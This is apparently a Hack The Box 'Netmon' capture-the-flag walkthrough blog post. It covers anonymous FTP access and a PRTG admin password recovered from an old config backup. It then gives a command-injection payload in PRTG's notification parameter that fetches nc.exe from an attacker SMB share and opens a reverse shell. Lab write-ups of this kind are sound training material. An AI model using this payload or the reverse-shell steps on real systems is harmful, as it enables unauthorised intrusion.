HTB Netmon — Walkthrough

root@ArmourInfosec:~/ nmap -sV -sC -p-
Nmap scan report for
Host is up (0.15s latency).
Not shown: 995 closed ports
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 05-01-19 05:09AM 84 test.txt
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-05-01 10:46:56
|_ start_date: 2019-05-01 08:57:05

ftp anonymous login is enabled lets check out what is inside that

root@ArmourInfosec:~/ ftp
Connected to
220 Microsoft FTP Service
Name ( anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.

The ftp root location is at C:\, So let’s try to read the user.txt

ftp> cd Users/Public
ftp> get user.txt
ftp> exit
root@ArmourInfosec:~/ cat user.txt

Visit port number 80, Found PRTG Network Monitor at the home page

“PRTG Network Monitor is an agentless network monitoring software from Paessler AG”

At the bottom of home page i found the version to be PRTG Network Monitor , When searching on google I found a RCE vulnerability for this version, POC link is mentioned at the bottom

I have made an python exploit for this CMS the link is at bottom, But I will do manual approach in this writeup

But we need authentication for exploiting this, I read some manuals from PRTG and found that it stores it’s credentials in C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat, I looked inside this file with ftp got username to be prtgadmin but the credentials inside the file are encrypted, in same directory found two more similar files PRTG Configuration.old and PRTG Configuration.old.bak

In the file PRTG Cooniguration.old.bak i found a credential PrTg@dmin2018 I tried this credentials to login but it shows them to be wrong, I thought about it and got that this is an old backup file the password i that is 2018 but currently it is 2019 so i tried prtgadmin:PrTg@dmin2019 and logged in successfully and now we are inside the PRTG Network Monitor

According to the POC the send notificationfunction is vulnerable, Go to Setup > Account Settings > Notifications, Add new Notifications by clicking on + button on right side

I will upload nc and will take reverse shell from the machine, the approach for this is below

In Attacker machine

Placed nc.exe in current directory and Started smbserver on My system by python file in impacket and start nc listner on your System

root@ArmourInfosec:/# python /usr/share/doc/python-impacket/examples/ hacker .in another terminalroot@ArmourInfosec:/# nc -lvp <PORT>

On webpage perform following steps:

Click on execute programProgram File: Demo exe notification — output.ps1Parameter: t.txt; copy \\<myIP>\hacker\nc.exe C:\nc.exe;C:\nc.exe <myIP> <PORT> -e cmd.exeClick on Save

Click on notification other than its name, then click on bell icon at right side to Send notification

And We will get reverse connection on the nc listner


— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Ref of exploit :

Python exploit of CMS :




Security Researcher | OSCP

Love podcasts or audiobooks? Learn on the go with our new app.

Exposed Unsafe ActiveX Method [CWE-618] — The Hacktivists

nConnect for NAS: secure remote access to files and apps

Proper Way to Perform a WordPress Backup for your Site in 2018

{UPDATE} Griblers Hack Free Resources Generator

{UPDATE} リバーシ囲碁と将棋プレイヤーのための戦略型ボードゲーム Hack Free Resources Generator

The era of data sharing has arrived

{UPDATE} Nonograms 999 griddlers Hack Free Resources Generator

Brave Browser - Product Breakdown

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Vaibhav Joshi

Vaibhav Joshi

Security Researcher | OSCP

More from Medium

BruteLoops — Protocol Agnostic Online Password Guessing API

Hacker101 Micro-CMS v1 CTF Walkthrough

Hack The Box — Devel

Hacking paper